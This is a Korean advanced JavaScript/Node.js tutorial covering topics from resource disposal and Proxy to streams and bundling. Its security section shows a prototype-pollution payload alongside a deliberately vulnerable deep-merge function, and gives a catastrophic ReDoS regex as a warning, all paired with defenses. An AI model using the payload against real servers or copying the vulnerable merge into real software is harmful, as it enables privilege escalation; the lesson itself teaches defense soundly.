SharedArrayBuffer · Atomics 는 다른 이야기입니다. worker_threads 사이에서 진짜 공유 메모리를 쓸 때만 필요합니다. 일반적인 서버 코드에서는 거의 쓸 일이 없고, 잘못 쓰면 디버깅이 극도로 어려워집니다.

using · await using — 자원 해제를 언어가 맡습니다 Stage 4

위 세마포어 코드의 try { … } finally { release(); } 가 눈에 걸렸다면, 그게 바로 이 문법이 나온 이유입니다. using 으로 선언한 값은 블록을 벗어날 때 [Symbol.dispose]() 가 선언의 역순으로 자동 호출됩니다 — 정상 종료든 return 이든 예외든 상관없이. (Node 24+ · Chrome 134+)

지금까지 — try/finally 로 직접
const release = await sem.acquire();
try {
  const conn = await pool.connect();
  try {
    await conn.query("BEGIN");
    try {
      await work(conn);
      await conn.query("COMMIT");
    } catch (e) {
      await conn.query("ROLLBACK");
      throw e;
    }
  } finally {
    conn.release();
  }
} finally {
  release();
}
// ★ 중첩이 깊어질수록 하나씩 빠뜨립니다
using — 정리 코드가 사라집니다
{
  using slot = await sem.acquireScoped();
  await using conn = await pool.connect();
  await using tx   = await conn.begin();

  await work(conn);
  await tx.commit();
}
// 블록을 벗어나면 역순으로
//   tx  → (commit 안 했으면) ROLLBACK
//   conn→ release
//   slot→ 세마포어 반납
// 예외가 나도 똑같이 실행됩니다

내 객체를 참여시키기 — 심볼 하나면 됩니다

// ① 동기 자원 — Symbol.dispose
class Timer {
  private t0 = performance.now();
  constructor(private label: string) {}
  [Symbol.dispose]() {
    console.log(`${this.label}: ${(performance.now() - this.t0).toFixed(1)}ms`);
  }
}

function handler() {
  using _t = new Timer("handler");    // 함수가 어떻게 끝나든 시간이 찍힙니다
  return doWork();
}

// ② 비동기 자원 — Symbol.asyncDispose (await using 으로 씁니다)
class Tx {
  private done = false;
  private constructor(private db: Client) {}
  static async open(db: Client) { await db.query("BEGIN"); return new Tx(db); }
  async commit() { await this.db.query("COMMIT"); this.done = true; }
  async [Symbol.asyncDispose]() {
    if (!this.done) await this.db.query("ROLLBACK");
  }
}

// ③ 여러 자원을 한 덩어리로 — DisposableStack / AsyncDisposableStack
async function setup() {
  await using stack = new AsyncDisposableStack();
  const db    = stack.use(await openDb());
  const cache = stack.use(await openCache());
  stack.defer(async () => log.flush());     // 임의의 정리 작업도 등록 가능

  return stack.move();   // ★ 성공했을 때만 소유권을 호출자에게 넘깁니다
}                        //   중간에 실패하면 여기서 전부 정리됩니다
세 가지만 주의하세요. ① using 은 블록 스코프 전용입니다 — 최상위 모듈이나 클래스 필드에는 못 씁니다. ② 재할당이 안 됩니다(const 처럼 동작). ③ TypeScript 로 쓴다면 lib 에 esnext.disposable 이 들어가 있어야 Symbol.dispose 타입이 잡힙니다. 정리 순서가 역순이라는 점도 기억해 두세요 — 나중에 잡은 자원을 먼저 놓습니다.
DEEP 08

Proxy · Reflect

프레임워크가 “마법”을 부리는 원리입니다.

기본

const target = { name: "김현우", age: 30 };

const proxy = new Proxy(target, {
  get(obj, prop, receiver) {
    console.log(`읽기: ${String(prop)}`);
    return Reflect.get(obj, prop, receiver);      // ★ Reflect 로 기본 동작
  },
  set(obj, prop, value, receiver) {
    if (prop === "age" && typeof value !== "number")
      throw new TypeError("age 는 숫자여야 합니다");
    return Reflect.set(obj, prop, value, receiver);
  },
  has(obj, prop) { return Reflect.has(obj, prop); },
  deleteProperty(obj, prop) { return Reflect.deleteProperty(obj, prop); },
});

proxy.name;          // 읽기: name
proxy.age = "삼십";   // TypeError
Reflect 를 쓰는 이유 — obj[prop] 로 직접 접근하면 getter 안의 this 가 엉뚱한 곳을 가리킬 수 있습니다. Reflect.get(obj, prop, receiver) 는 receiver 를 올바르게 전달해 이 문제를 막습니다.

실무 활용

// ① 반응형 상태 (Vue 3 의 핵심 원리)
function reactive<T extends object>(obj: T, onChange: () => void): T {
  return new Proxy(obj, {
    set(t, k, v, r) {
      const ok = Reflect.set(t, k, v, r);
      onChange();                        // ★ 값이 바뀌면 화면 갱신
      return ok;
    },
  });
}

// ② 접근하지 않은 속성은 로딩하지 않기 (지연 초기화)
const lazyConfig = new Proxy({} as Config, {
  get(t, k) {
    if (!(k in t)) Reflect.set(t, k, loadFromDisk(String(k)));
    return Reflect.get(t, k);
  },
});

// ③ 없는 속성 접근을 에러로 (오타 방지)
const strict = new Proxy(config, {
  get(t, k) {
    if (!(k in t)) throw new Error(`설정 '${String(k)}' 이 없습니다`);
    return Reflect.get(t, k);
  },
});

// ④ 메서드 호출 로깅·계측 (APM 이 하는 일)
function instrument<T extends object>(obj: T, name: string): T {
  return new Proxy(obj, {
    get(t, k, r) {
      const v = Reflect.get(t, k, r);
      if (typeof v !== "function") return v;
      return async (...args: unknown[]) => {   // ⚠️ 동기 메서드도 Promise 를 돌려주게 됩니다 — 비동기 메서드만 있는 객체에
        const start = performance.now();
        try { return await v.apply(t, args); }
        finally { metrics.timing(`${name}.${String(k)}`, performance.now() - start); }
      };
    },
  });
}
Proxy 는 느립니다. 모든 접근에 함수 호출이 끼어들고, V8 최적화가 어렵습니다(d02). 뜨거운 경로(초당 수만 번 호출되는 코드)에는 쓰지 마세요. 설정·개발 도구·프레임워크 내부처럼 호출 빈도가 낮은 곳이 적합합니다.
Proxy 는 객체 앞에 세우는 '문지기'입니다 코드 state.count = 5 Proxy 핸들러 set(target, key, value) 원본 객체 Reflect.set 으로 그대로 전달 그 사이에 하고 싶은 일을 끼웁니다 끼울 수 있는 것 변경 알림(반응형) · 검증 · 읽기 기록 · 기본값 제공 Vue 의 reactive · MobX · Immer 가 이 구조입니다 비용과 주의 모든 접근에 함수 호출이 붙습니다 — 뜨거운 루프에는 부적합 원본 전달은 Reflect 로 — this 가 어긋나는 사고를 막습니다
직접 쓸 일은 드물지만, 상태 관리 라이브러리의 동작이 설명됩니다.
DEEP 09

Symbol · WeakRef

메모리를 붙잡지 않는 참조와 숨겨진 키.

Symbol

// 절대 충돌하지 않는 키
const HIDDEN = Symbol("internal");
obj[HIDDEN] = "메타데이터";

Object.keys(obj);          // Symbol 키는 안 나옵니다
JSON.stringify(obj);       // 직렬화에도 포함 안 됨
Object.getOwnPropertySymbols(obj);   // 이걸로만 접근

// ★ 잘 알려진 심볼 — 언어 동작을 바꿉니다
class Range {
  constructor(public from: number, public to: number) {}

  *[Symbol.iterator]() {                       // for...of 지원 (🟨 j13)
    for (let i = this.from; i <= this.to; i++) yield i;
  }
  [Symbol.toPrimitive](hint: string) {         // 형변환 제어
    return hint === "number" ? this.to - this.from : `${this.from}~${this.to}`;
  }
  get [Symbol.toStringTag]() { return "Range"; }  // Object.prototype.toString
  async *[Symbol.asyncIterator]() { ... }          // for await 지원
}

[...new Range(1, 5)];       // [1,2,3,4,5]
+new Range(1, 5);           // 4
`${new Range(1, 5)}`;       // "1~5"
Symbol 의 실무 용도 — 라이브러리가 사용자 객체에 메타데이터를 심을 때 (속성 이름 충돌 없이). Nest 의 데코레이터 메타데이터, RxJS 의 내부 표시가 이 방식을 씁니다.

WeakMap · WeakRef

// WeakMap — 키 객체가 사라지면 값도 자동으로 수거됩니다
const meta = new WeakMap();

function attach(el, data) { meta.set(el, data); }
// el 이 DOM 에서 제거되면 → meta 의 항목도 자동 정리 ★
// 일반 Map 이었다면 el 이 영원히 살아남습니다 (메모리 누수)

// 제약: 순회 불가, size 없음, 키는 반드시 객체
// ★ 그래서 "객체에 부가 정보 붙이기"에만 씁니다

// 실무: private 데이터 저장 (클래스 #필드 이전의 방식)
const privates = new WeakMap();
class User {
  constructor(pw) { privates.set(this, { pw }); }
  check(input) { return privates.get(this).pw === input; }
}
// WeakRef — 값을 붙잡지 않는 참조 (ES2021)
const cache = new Map<string, WeakRef<BigObject>>();

function get(key: string) {
  const ref = cache.get(key);
  const cached = ref?.deref();          // ★ 수거됐으면 undefined
  if (cached) return cached;

  const fresh = expensiveLoad(key);
  cache.set(key, new WeakRef(fresh));
  registry.register(fresh, key);        // 수거되면 아래 콜백이 key 를 받습니다
  return fresh;
}

// FinalizationRegistry — 수거될 때 알림 (정리용)
const registry = new FinalizationRegistry((key: string) => {
  if (!cache.get(key)?.deref()) cache.delete(key);   // 죽은 참조만 제거 (새 값이면 유지)
});
WeakRef 는 신중히 쓰세요. 언제 수거될지 예측할 수 없어 동작이 비결정적입니다. MDN 도 “가능하면 쓰지 말 것”을 권합니다. 대부분의 캐시는 LRU + TTL 이 훨씬 예측 가능하고 안전합니다(d04).
DEEP 10

함수형 패턴

버그를 줄이는 가장 확실한 방법 — 값을 바꾸지 않는 것.

불변성

// ❌ 원본을 바꾸면 "누가 언제 바꿨는지" 추적이 불가능해집니다
function addTag(user: User, tag: string) {
  user.tags.push(tag);            // 호출한 쪽의 객체가 변함
  return user;
}

// ✅ 새 값을 만들어 반환
function addTag(user: User, tag: string): User {
  return { ...user, tags: [...user.tags, tag] };
}

// 중첩이 깊으면 immer 로 (내부적으로 Proxy 사용 — d08)
import { produce } from "immer";
const next = produce(state, (draft) => {
  draft.orders[0].items[2].qty = 5;     // ★ 쓰기처럼 보이지만 새 객체가 만들어집니다
});

// 읽기 전용으로 타입 강제 (🔷 TS)
type ReadonlyUser = Readonly<{ tags: readonly string[] }>;
왜 불변성인가 — ① React·Zustand 가 참조 비교로 변경을 감지합니다, ② 동시성 버그가 사라집니다(누가 언제 바꿨는지 문제가 없음), ③ 실행 취소·시간 여행 디버깅이 가능해집니다, ④ 테스트가 쉬워집니다(입력이 안 바뀜).

합성 · 커링 · 파이프

// 파이프 — 작은 함수를 이어 붙이기
const pipe = <T>(...fns: Array<(x: T) => T>) =>
  (input: T) => fns.reduce((acc, fn) => fn(acc), input);

const normalize = pipe<string>(
  s => s.trim(),
  s => s.toLowerCase(),
  s => s.replace(/\s+/g, "-"),
);
normalize("  Hello World  ");     // "hello-world"

// 커링 — 인자를 나눠 받기
const filterBy = <T>(pred: (x: T) => boolean) => (arr: T[]) => arr.filter(pred);
const onlyActive = filterBy<User>(u => u.active);
onlyActive(users);

// Result 타입 — 예외 대신 값으로 (Rust 스타일)
type Result<T, E = Error> =
  | { ok: true; value: T }
  | { ok: false; error: E };

async function safeParse<T>(fn: () => Promise<T>): Promise<Result<T>> {
  try { return { ok: true, value: await fn() }; }
  catch (e) { return { ok: false, error: e as Error }; }
}

const r = await safeParse(() => api.getUser(1));
if (!r.ok) return handle(r.error);
r.value.name;                     // ★ 타입이 좁혀집니다 (🔷 TS t04)
순수 함수형을 강요하지 마세요. 자바스크립트는 순수 함수형 언어가 아니고, 과하게 추상화하면 스택 트레이스가 읽히지 않고 디버깅이 어려워집니다. 불변성과 순수 함수라는 두 원칙만 지켜도 실무에서 얻을 수 있는 이득의 대부분을 가져갑니다.
DEEP 11

디자인 패턴 실전

이름을 알면 소통이 빨라집니다. 실제로 쓰이는 것만 모았습니다.

자주 쓰이는 것

// ① 전략(Strategy) — if/else 를 없앱니다
interface PaymentStrategy { pay(amount: number): Promise<Receipt>; }

const strategies: Record<Method, PaymentStrategy> = {
  card: new CardPayment(),
  bank: new BankTransfer(),
  point: new PointPayment(),
};
await strategies[method].pay(amount);      // ★ 새 수단 추가 시 이 코드는 안 바뀜

// ② 팩토리 — 생성 로직을 한 곳에
function createLogger(env: string): Logger {
  return env === "production"
    ? new JsonLogger({ level: "info" })
    : new PrettyLogger({ level: "debug" });
}

// ③ 어댑터 — 외부 라이브러리를 내 인터페이스로 감싸기
interface Storage { put(key: string, data: Buffer): Promise<string>; }

class S3Storage implements Storage { ... }
class LocalStorage implements Storage { ... }
// ★ 나중에 S3 → GCS 로 바꿔도 서비스 코드는 그대로
어댑터는 실무에서 가장 값어치가 큽니다. 결제사·스토리지·메일·SMS 처럼 바뀔 수 있는 외부 의존을 인터페이스 뒤에 두면, 교체할 때 고칠 곳이 한 파일이 됩니다. 테스트에서 가짜로 바꿔 끼우기도 쉬워집니다.

주의해서 쓸 것

// ④ 싱글턴 — 모듈 자체가 이미 싱글턴입니다
// db.ts
export const prisma = new PrismaClient();     // ★ import 하면 항상 같은 인스턴스

// ❌ 굳이 클래스로 만들 필요가 없습니다
class Database { private static instance: Database; ... }

// ⑤ 옵저버 — Node 는 EventEmitter 가 내장 (🟩 n07)
// ⑥ 데코레이터 — Nest 가 전부 이 방식 (🔷 t12)
// ⑦ 리포지토리 — 데이터 접근을 감춤
interface OrderRepository {
  findById(id: string): Promise<Order | null>;
  save(order: Order): Promise<void>;
}
// 서비스는 ORM 을 모릅니다 → Prisma → Drizzle 교체가 가능

// ⑧ 유닛 오브 워크 — 여러 저장을 한 트랜잭션으로 (🐈 Nest s12)
패턴을 위한 패턴을 만들지 마세요. 자바에서 넘어온 패턴 중 상당수는 자바스크립트에서는 언어 기능으로 이미 해결됩니다 (싱글턴 = 모듈, 전략 = 함수 객체, 팩토리 = 그냥 함수). 코드가 더 읽기 쉬워지는가만 기준으로 삼으세요.
실무에서 진짜 중요한 것은 패턴 이름이 아니라 ① 의존 방향을 한쪽으로 고정(d15), ② 바뀔 것과 안 바뀔 것을 분리, ③ 테스트할 수 있게 만들기 세 가지입니다.
DEEP 12

타입 레벨 프로그래밍

🔷 TS t17 의 실전편. 어디에 실제로 쓰이는지 봅니다.

실제 라이브러리가 하는 일

// ① tRPC — 서버 라우터에서 클라이언트 타입이 자동으로 나옵니다
const appRouter = router({
  user: router({
    byId: publicProcedure
      .input(z.object({ id: z.number() }))
      .query(({ input }) => db.user.findUnique({ where: { id: input.id } })),
  }),
});
export type AppRouter = typeof appRouter;

// 클라이언트 — 코드 생성 없이 타입이 그대로 흐릅니다 ★
const user = await trpc.user.byId.query({ id: 1 });   // 반환 타입 자동 추론
trpc.user.byId.query({ id: "1" });                     // ❌ 컴파일 에러
// ② Prisma — select 에 따라 반환 타입이 달라집니다
const a = await prisma.user.findMany();
// { id, email, name, createdAt }[]

const b = await prisma.user.findMany({ select: { id: true, email: true } });
// { id, email }[]   ★ 정확히 고른 것만

// 이것을 가능하게 하는 것이 조건부 타입 + 매핑드 타입입니다

직접 만들어 보기 — 사내 라이브러리용

// 이벤트 버스에 타입 안전성 부여
type EventMap = {
  "order.created": { orderId: string; amount: number };
  "user.login": { userId: number; ip: string };
};

class TypedEmitter<T extends Record<string, unknown>> {
  private handlers = new Map<keyof T, Set<(p: never) => void>>();

  on<K extends keyof T>(event: K, fn: (payload: T[K]) => void) {
    if (!this.handlers.has(event)) this.handlers.set(event, new Set());
    this.handlers.get(event)!.add(fn as never);
    return () => this.handlers.get(event)!.delete(fn as never);
  }

  emit<K extends keyof T>(event: K, payload: T[K]) {
    this.handlers.get(event)?.forEach(fn => (fn as (p: T[K]) => void)(payload));
  }
}

const bus = new TypedEmitter<EventMap>();
bus.on("order.created", (p) => p.amount);      // ✅ amount 자동완성
bus.emit("order.created", { userId: 1 });      // ❌ 잡힘 ★
// 설정 객체의 경로를 문자열로 안전하게 (i18n·폼에서 자주)
type Paths<T, P extends string = ""> = T extends object
  ? { [K in keyof T & string]:
      | (P extends "" ? K : `${P}.${K}`)
      | Paths<T[K], P extends "" ? K : `${P}.${K}`> }[keyof T & string]
  : never;

declare function t<K extends Paths<typeof messages>>(key: K): string;
t("user.profile.title");     // ✅
t("user.profile.titel");     // ❌ 오타를 컴파일 단계에서
업무 코드에는 과합니다. 이런 타입이 필요하다고 느껴지면 먼저 설계를 단순화할 수 있는지 보세요. 사내 공통 라이브러리를 만들 때만 값을 합니다 — 쓰는 사람 수십 명의 실수를 컴파일러가 대신 잡아 주기 때문입니다.
DEEP 13

보안 — 공급망 · 프로토타입 오염

내 코드보다 가져다 쓴 패키지가 더 위험합니다.

프로토타입 오염

// 공격 요청
POST /api/config
{ "__proto__": { "isAdmin": true } }

// 취약한 코드 — 깊은 병합
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === "object") {
      target[key] ??= {};
      merge(target[key], source[key]);      // ❌ __proto__ 를 그대로 따라감
    } else target[key] = source[key];
  }
}
merge({}, JSON.parse(body));

// 결과: 모든 객체가 isAdmin 을 갖게 됩니다
({}).isAdmin;         // true  ★ 권한 검사가 통째로 뚫립니다
// ✅ 방어
const DANGEROUS = ["__proto__", "constructor", "prototype"];
if (DANGEROUS.includes(key)) continue;

// ✅ 더 확실한 방법
const safe = Object.create(null);            // 프로토타입이 없는 객체
const map = new Map(Object.entries(input));   // 키-값 저장은 Map 으로 — 프로토타입과 무관

// ✅ 가장 확실 — 스키마 검증 (🧰 도구 o07)
const data = ConfigSchema.parse(body);        // 정의된 키만 통과

// ✅ 실행 시 전역 보호
Object.freeze(Object.prototype);
ReDoS 도 함께 기억하세요. /(a+)+$/ 같은 정규식에 긴 문자열을 넣으면 지수적으로 시간이 폭발해 이벤트 루프가 멈춥니다. 사용자 입력을 정규식으로 만들지 말고, 복잡한 패턴은 re2 같은 안전한 엔진을 쓰세요.

공급망 공격

실제로 일어난 일들
  · event-stream — 인기 패키지가 인수되어 악성 코드 삽입
  · ua-parser-js — 계정 탈취 후 악성 버전 배포
  · node-ipc — 정치적 이유로 파일 삭제 코드 추가
  · 타이포스쿼팅 — "expres", "loadash" 등 오타 노린 패키지

공격 경로
  ① postinstall 스크립트가 자동 실행됨
  ② 의존성의 의존성(내가 모르는 패키지)
  ③ 유지보수자 계정 탈취
# 방어
npm audit                              # ★ CI 에 포함
npm ci --ignore-scripts                # postinstall 차단 (가능하면)
npm ls --all | wc -l                   # 실제 의존성 수 확인 (충격적일 수 있습니다)

# 잠금·검증
npm ci                                 # lock 그대로 (o01)
npm config set audit-level=high

# 도구
npx socket security                    # 위험 신호 분석
npx @lavamoat/allow-scripts            # 스크립트 화이트리스트

그 밖의 체크리스트

  • ☐ 비밀 값이 코드·이미지·로그에 없는가 (🧰 o09)
  • ☐ 의존성 자동 업데이트(renovate)가 켜져 있는가
  • ☐ eval·new Function·child_process.exec 에 사용자 입력이 들어가지 않는가
  • ☐ JWT 검증에서 algorithm 을 명시했는가 (🚂 x07)
  • ☐ 파일 경로에 사용자 입력이 들어갈 때 검증하는가 (🟩 n04)
  • ☐ 에러 응답에 스택·내부 경로가 안 나가는가
의존성을 줄이는 것 자체가 보안입니다. 패키지 하나를 덜 쓰면 공격면이 그만큼 줄어듭니다. “5줄이면 직접 짤 수 있는 것”을 위해 패키지를 설치하지 마세요.
프로토타입 오염 — 병합 한 줄로 전체가 뚫립니다 사용자가 보낸 JSON {"__proto__": {"isAdmin": true}} 깊은 병합 함수 키를 그대로 따라 들어감 Object.prototype 오염 모든 객체에 얹힙니다 이제 아무 객체나 obj.isAdmin 이 true 로 읽힙니다 권한 확인 · 기본값 처리 · 설정 병합 — 관련 없어 보이던 코드가 전부 뚫립니다 키를 걸러내기 __proto__ · constructor 제외 프로토타입 없는 객체 Object.create(null) · Map 스키마로 검증 허용된 키만 남깁니다 가장 확실한 대책은 세 번째입니다 — 병합하기 전에 모양을 확정하면 애초에 이상한 키가 없습니다 공급망 쪽도 함께 보세요 — 설치 스크립트 차단 · 잠금 파일 고정 · 정기 감사
이 취약점이 무서운 이유는 공격받은 코드와 뚫리는 코드가 다른 곳에 있다는 점입니다.
DEEP 14

성능 최적화 종합

지금까지의 내용을 실행 순서로 정리합니다.

효과 크기 순서 — 이 순서로 하세요

순위항목 · 기대 효과
1알고리즘·쿼리 — O(n²)→O(n), 인덱스 추가. 10~1000배
2N+1 제거 · 병렬화 — 순차 await → Promise.all. 5~50배
3캐시 — Redis·로컬. 10~100배(적중 시)
4이벤트 루프 해방 — 동기 코드 제거·워커. 처리량 수 배
5페이로드 축소 — 필요한 필드만·압축. 2~5배
6커넥션 재사용·풀 튜닝. 10~30%
7V8 미시 최적화(d02). 보통 5% 미만
7번부터 시작하는 사람이 정말 많습니다. for vs forEach 를 고민하는 동안 인덱스 하나가 응답을 800ms → 8ms 로 만듭니다. 항상 위에서부터 확인하세요.

실전 체크리스트

[측정]
☐ 이벤트 루프 지연 p99 (🚀 k02)
☐ 슬로우 쿼리 로그
☐ CPU 프로파일 (d06)
☐ 힙 추이 (d04)

[코드]
☐ 순차 await 를 Promise.all 로 (동시 실행 수 제한 포함)
☐ 동기 API(readFileSync·pbkdf2Sync) 제거
☐ 큰 JSON·정규식·정렬을 워커로
☐ 필요한 필드만 select
☐ 반복문 안의 await 를 배치로

[인프라]
☐ HTTP 커넥션 재사용 (keep-alive)
☐ 응답 압축 (gzip·brotli)
☐ 정적 파일은 CDN
☐ DB 커넥션 풀 크기 (🚀 k10)
☐ --max-old-space-size 지정
// 자주 놓치는 것 ① — HTTP 커넥션 재사용
import { Agent, setGlobalDispatcher } from "undici";
setGlobalDispatcher(new Agent({ connections: 100, keepAliveTimeout: 60_000 }));
// ★ 매 요청마다 TCP+TLS 핸드셰이크를 하면 50~200ms 를 그냥 버립니다

// 자주 놓치는 것 ② — 응답에서 필요 없는 필드 제거
// 100KB 응답 → 10KB 로 줄이면 직렬화·전송·파싱이 모두 10배 빨라집니다
최적화의 마지막 규칙 — 고친 뒤 다시 측정하세요. “빨라졌을 것 같다”는 느낌으로 커밋한 최적화의 상당수는 실제로는 효과가 없거나 오히려 느려집니다. 숫자로 확인하고, 그 숫자를 커밋 메시지에 남기세요.
DEEP 15

아키텍처 — 계층 · DDD

규모가 커지면 폴더 구조가 곧 설계가 됩니다.

의존 방향을 한쪽으로

interface
표현 계층 HTTP 컨트롤러 · CLI · 큐 컨슈머 · WebSocket. 바깥세상과의 접점
▼ 의존
application
응용 계층 유스케이스 조립 · 트랜잭션 경계. “주문을 생성한다”
▼ 의존
domain
도메인 계층 비즈니스 규칙·엔티티. 아무것도 의존하지 않습니다 ★
▲ 구현
infra
인프라 계층 DB·외부 API·파일. 도메인이 정의한 인터페이스를 구현합니다
핵심 규칙 하나
  안쪽(도메인)은 바깥(인프라)을 몰라야 합니다.

  ❌ domain/Order.ts 가 prisma 를 import
  ✅ domain 이 OrderRepository "인터페이스"를 정의하고
     infra 가 그것을 구현 (의존성 역전)

현실적인 적용

src/
  modules/
    order/
      domain/
        order.entity.ts          비즈니스 규칙 (프레임워크 무관)
        order.repository.ts      ★ 인터페이스만
      application/
        create-order.usecase.ts  트랜잭션 경계
      infra/
        prisma-order.repository.ts   구현
        payment-gateway.adapter.ts
      interface/
        order.controller.ts
        order.consumer.ts        ★ 같은 유스케이스를 큐에서도 호출
  shared/
// 도메인 — 규칙이 여기 모입니다
export class Order {
  private constructor(
    readonly id: OrderId,
    private status: OrderStatus,
    private readonly items: OrderItem[],
  ) {}

  static create(items: OrderItem[]): Order {
    if (items.length === 0) throw new EmptyOrderError();
    return new Order(OrderId.generate(), "PENDING", items);
  }

  cancel(): void {
    if (this.status === "SHIPPED") throw new CannotCancelError();
    this.status = "CANCELLED";           // ★ 규칙이 엔티티 안에
  }

  get total(): number {
    return this.items.reduce((s, i) => s + i.subtotal, 0);
  }
}
처음부터 이렇게 만들지 마세요. 엔드포인트 10개짜리 서비스에 4계층을 넣으면 파일만 늘고 아무도 못 찾습니다. Controller → Service → Repository 3층으로 시작해서, 도메인 규칙이 서비스에 넘칠 때 도메인 계층을 뽑아내는 순서가 현실적입니다.
이 구조의 실질적 이득 — ① 같은 유스케이스를 HTTP·큐·배치에서 재사용, ② ORM·결제사 교체 시 고칠 곳이 좁음, ③ 도메인 테스트에 DB 가 필요 없음, ④ 비즈니스 규칙이 한 곳에 모여 신규 입사자가 빨리 파악합니다.
DEEP 16

WebAssembly · 네이티브 애드온

자바스크립트가 구조적으로 못 따라가는 구간을 다른 언어로 채웁니다.

선택지

방법특징
napi-rs (Rust)★ 요즘 표준. Node 애드온을 Rust 로. swc·Prisma 엔진·lightningcss 가 이 방식
WebAssembly브라우저·Node·Deno 어디서나 동작. 샌드박스라 안전하지만 시스템 접근이 제한적
node-gyp (C++)전통 방식. 빌드 환경 문제로 고생이 많습니다
WASIWASM 에 파일·소켓 접근을 더한 표준. 아직 발전 중
// napi-rs — Rust 로 Node 애드온
use napi_derive::napi;

#[napi]
pub fn parse_logs(input: String) -> Vec<String> {
    input.lines().filter(|l| l.contains("ERROR"))
         .map(String::from).collect()
}

// ★ 무거운 작업은 별도 스레드에서 (이벤트 루프를 안 막습니다)
#[napi]
pub async fn heavy_task(data: Vec<u8>) -> napi::Result<u32> {
    tokio::task::spawn_blocking(move || compute(&data))
        .await.map_err(|e| napi::Error::from_reason(e.to_string()))
}
npm i -D @napi-rs/cli
napi build --platform --release
# → index.node 생성 · package.json 의 optionalDependencies 로 플랫폼별 배포

WebAssembly 쓰기

// Node 에서 wasm 로드
import { readFile } from "node:fs/promises";

const bytes = await readFile("./image.wasm");
const { instance } = await WebAssembly.instantiate(bytes, {
  env: { log: (ptr, len) => console.log(decode(ptr, len)) },
});

// ★ 메모리는 직접 다뤄야 합니다 (문자열·배열을 그냥 못 넘깁니다)
const memory = instance.exports.memory;

function passString(str) {
  const bytes = new TextEncoder().encode(str);
  const ptr = instance.exports.alloc(bytes.length);   // wasm 쪽 할당 함수
  // ★ 뷰는 할당 "뒤에" 만듭니다 — alloc 이 메모리를 늘리면 예전 뷰는 길이 0 으로 무효가 됩니다
  const view = new Uint8Array(memory.buffer);
  view.set(bytes, ptr);
  return [ptr, bytes.length];
}

// wasm-bindgen(Rust)·AssemblyScript 를 쓰면 이 변환을 자동화해 줍니다
WASM 이 실제로 값을 하는 경우
  · 이미지·비디오 처리 (ffmpeg.wasm · squoosh)
  · 암호화·해시 · 압축
  · 파서 · 정규식 엔진 (swc · esbuild 는 네이티브)
  · 물리 엔진 · 시뮬레이션
  · 브라우저에서 기존 C/C++ 라이브러리 재사용

값을 못 하는 경우
  · DOM 조작 (JS 를 거쳐야 해서 오히려 느림)
  · 짧은 함수 호출 반복 (경계를 넘는 비용이 큼)
  · 문자열이 많이 오가는 작업 (직렬화 비용)
측정 없이 도입하지 마세요. 경계를 넘는 비용(직렬화·메모리 복사) 때문에 작은 작업은 순수 JS 가 더 빠릅니다. “한 번 호출에 수 ms 이상 걸리는 큰 덩어리”일 때만 이득이 납니다. 그리고 네이티브 애드온은 플랫폼마다 빌드해야 배포가 됩니다.
DEEP 17

스트림 · 백프레셔 심화

🟩 Node n05 의 확장판. 메모리가 터지는 진짜 이유를 봅니다.

백프레셔 — 읽는 속도 > 쓰는 속도

파일 읽기 500MB/s  →  네트워크 쓰기 10MB/s

조절이 없으면
  읽은 데이터가 메모리 버퍼에 계속 쌓임 → OOM

highWaterMark (기본 64KB / objectMode 는 16개)
  버퍼가 이 값을 넘으면 write() 가 false 를 반환
  → 읽기를 멈추고 'drain' 이벤트를 기다려야 합니다

★ pipe / pipeline 은 이것을 자동으로 해 줍니다.
  직접 'data' 이벤트로 처리하면 이 보호가 사라집니다.
❌ 백프레셔 무시
readable.on("data", (chunk) => {
  writable.write(chunk);
  // 반환값을 무시 →
  // 버퍼가 무한히 쌓임
});
✅ pipeline
import { pipeline } from
  "node:stream/promises";

await pipeline(readable,
               transform,
               writable);
// 속도 조절 + 에러 + 정리
// 직접 제어해야 한다면
for await (const chunk of readable) {
  if (!writable.write(chunk)) {
    await once(writable, "drain");        // ★ 버퍼가 비워질 때까지 대기
  }
}

Web Streams 와 상호 변환

// Node 스트림 ↔ Web 스트림 (fetch·브라우저 호환)
import { Readable, Writable } from "node:stream";

const webStream = Readable.toWeb(nodeReadable);
const nodeStream = Readable.fromWeb(response.body);

// fetch 응답을 스트리밍으로 처리 (메모리에 다 안 올림)
const res = await fetch(url);
await pipeline(
  Readable.fromWeb(res.body),
  createGunzip(),
  createWriteStream("out.json"),
);

// TransformStream (Web 표준) — 브라우저·Node 공통
const upper = new TransformStream({
  transform(chunk, controller) {
    controller.enqueue(chunk.toUpperCase());
  },
});
// 실전 — 대용량 CSV 를 DB 로 (메모리 일정)
import { pipeline } from "node:stream/promises";
import { parse } from "csv-parse";

let batch = [];
await pipeline(
  createReadStream("10gb.csv"),
  parse({ columns: true }),
  async function* (source) {
    for await (const row of source) {
      batch.push(row);
      if (batch.length >= 1000) {        // ★ 배치로 모아서
        await db.insertMany(batch);
        batch = [];
        yield `${row.id}\n`;              // 진행 상황
      }
    }
    if (batch.length) await db.insertMany(batch);
  },
  createWriteStream("progress.log"),
);
스트림 에러 처리는 까다롭습니다. pipe 는 에러가 나도 앞 스트림을 닫지 않아 파일 디스크립터가 새어 나갑니다. 항상 pipeline 을 쓰고, AbortSignal 로 취소도 함께 다루세요(d07).
DEEP 18

번들 · 트리셰이킹 심화

“번들이 왜 이렇게 크죠?”를 실제로 해결하는 방법.

트리셰이킹이 안 되는 이유

// ① CommonJS 는 정적 분석이 안 됩니다
const _ = require("lodash");        // ❌ 전부 포함 (70KB+)
import { debounce } from "lodash-es";   // ✅ ESM 이라 필요한 것만

// ② 부수 효과가 있다고 판단되면 못 지웁니다
// package.json 에 명시하세요
{ "sideEffects": false }                      // 부수 효과 없음
{ "sideEffects": ["*.css", "./src/polyfill.js"] }   // 이것만 있음

// ③ 배럴 파일 (index.ts 에서 몰아 export)
export * from "./a";  export * from "./b";  // ...50개
// → 하나만 import 해도 전부 평가될 수 있습니다
// ★ 라이브러리에서는 피하고, 앱에서는 경로를 직접 import

// ④ 클래스는 메서드 단위로 못 지웁니다
class Utils { a(){} b(){} }        // a 만 써도 b 가 남습니다
export function a(){}              // ✅ 함수로 나누면 지워집니다
# 무엇이 번들을 키우는지 눈으로 보기
npx vite-bundle-visualizer
npx source-map-explorer dist/assets/*.js
npx esbuild-visualizer --metadata meta.json

# 설치 전에 크기 확인
npx package-size lodash date-fns dayjs

코드 스플리팅과 로딩 전략

// 동적 import — 필요할 때만 받아옵니다
const { Chart } = await import("./Chart.js");        // 라우트·모달 단위

// 프리로드 힌트 (곧 쓸 것을 미리)
import(/* webpackPrefetch: true */ "./Heavy.js");

